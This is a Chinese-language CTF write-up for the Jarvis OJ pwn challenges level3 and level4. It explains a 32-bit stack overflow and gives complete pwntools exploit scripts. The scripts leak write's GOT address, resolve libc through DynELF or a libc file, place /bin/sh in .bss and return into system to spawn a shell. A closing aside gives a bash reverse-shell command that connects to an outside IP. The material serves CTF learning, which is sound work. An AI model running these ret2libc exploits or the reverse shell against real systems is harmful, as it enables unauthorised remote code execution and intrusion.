查询保护
liu@liu-F117-F:~/桌面/oj/level3$ checksec level3
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启了NX保护
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了
这里有一个新的模式,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串
构造payload:
payload=’A’*0x88+’A’*4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)//这一部分是为了泄露出来write 函数的got表内容
payload = “A” * 0x88 + “A” * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)//这一部分会返等待输入,把输入的内容放到bss_addr。返回地址pop_pop_pop_ret保证堆栈平衡
payload+=p32(system_addr)+p32(0x77777777)+p32(bin_sh_addr)//这一部分是为了执行system(“/bin/sh”)函数。
会执行system(“/bin/sh”)是因为发送过去的payload在函数返回的时候才会起作用。
0x01 获取pop
程序开启了NX保护,pop_pop_pip_ret不能使我们传进栈中的,只能用程序本身自己带的,那么怎么找呢,能不能找到呢
pwntoos给我们提供了工具ROPgadget
–binary是搜索的目录,–only是搜索的内容。还可以加上|grep 来过滤
liu@liu-F117-F:~/桌面/oj/level3$ ROPgadget --binary level3 --only "pop|ret"
Gadgets information
============================================================
0x0804851b : pop ebp ; ret
0x08048518 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804851a : pop edi ; pop ebp ; ret
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1
Unique gadgets found: 7
liu@liu-F117-F:~/桌面/oj/level3$
0x08048519 : pop esi ; pop edi ; pop ebp ; ret 这里代码量不大,直接搜索出来了
0x02获取libc版本
from pwn import *
pop_pop_pop_ret=0x08048519
elf=ELF("level3")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
#p=process("./level3")
p=remote("pwn2.jarvisoj.com",9879)
p.recvline()
payload="A"*0x88+"A"*4+p32(plt_write)+p32(pop_pop_pop_ret)+p32(1)+p32(got_write)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)
运行这段代码就能获取到write函数的运行地址(放在write_addr里面)。
运行结果为write_addr=0xf7dfad80 。
为了获取到libc版本这里推荐一个网站https://libc.blukat.me/?q=write%3A0x7f2179c14440。可以在这里通过函数名和地址查询出运行库的版本也提供下载。(如果一个地址查到不止一个库版本可以试着再泄露一个函数)
当然也可以自动获取,这个更可靠,pwntools提供的有库
from pwn import *
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
def leak(address):
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data=p.recv(4)
print hex(u32(data))
print "%#x => %s" % (address,(data or '').encode('hex'))
return data
#p=remote("pwn2.jarvisoj.com",9879)
p=process("./level3")
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)
需要注意的是这里的payload的返回地址是main_addr也就是函数的其实位置。要利用write函数输出的内容是address。
0x03利用read把/bin/sh 写入到bss段里
查找bss段的地址
liu@liu-F117-F:~/桌面/oj/level3$ readelf -s level3 |grep bss
63: 0804a024 0 NOTYPE GLOBAL DEFAULT 25 __bss_start
from pwn import *
#context.log_level="debug"
pop_pop_pop_ret=0x08048519
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
def leak(address):
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data=p.recv(4)
print hex(u32(data))
print "%#x => %s" % (address,(data or '').encode('hex'))
return data
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)
bss_addr=0x0804a024
plt_read=elf.plt["read"]
p.recvline()
sleep(1)
payload = "A" * 0x88 + "A" * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)
raw_input()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
另一种方法
不用自动的查询其实也完全可以做到,可以手动查询,不过上面提供的网站可能会查不到。
这里直接从libc库里面搜索/bin/sh字符串,更简便了(上面的网站中搜不到这个库),相比起来自动的脚本更强大一些
from pwn import *
context.log_level="debug"
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")
pop_pop_pop_ret=0x08048519
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(elf.got["write"]) + p32(4)
p.send(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)
libc=ELF("libc-2.19.so")
#libc=ELF("libc6_2.27-3ubuntu1_i386.so")
bss_addr=0x0804a024
libc_system=libc.symbols["system"]
libc_binsh=next(libc.search("/bin/sh"))
libc_write=libc.symbols["write"]
system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh
print "system_addr="+hex(system_addr)
raw_input()
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(system_addr) + p32(0x77777777) + p32(binsh_addr)
p.sendline(payload)
p.interactive()
补充
任务完成可以试一下反弹sell本地监听一个端口
nc -lvvp 7350
给靶机输入命令
bash -i >& /dev/tcp/10.134.100.21/7350 0>&1
如果能反弹的话可以直接在本地获取到靶机的shell,这里失败了.不知道原因。
level4
level3和level4改几个地址就行了
from pwn import *
context.log_level="debug"
pop_pop_pop_ret=0x08048509
elf=ELF("level4")
main_addr=0x08048470
plt_write=elf.plt["write"]
def leak(address):
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data=p.recv(4)
print hex(u32(data))
print "%#x => %s" % (address,(data or '').encode('hex'))
return data
p=remote("pwn2.jarvisoj.com",9880)
#p=process("./level3")
d=DynELF(leak,elf=ELF("./level4"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)
bss_addr=0x0804a024
plt_read=elf.plt["read"]
payload = "A" * 0x88 + "A" * 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)
raw_input()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
重点内容
总结:可以利用read来写入bss段内容通过bss段来存储需要/bin/sh。
构造溢出点获取执行流,调整堆栈平衡让程序一段一段的执行一个接一个的函数。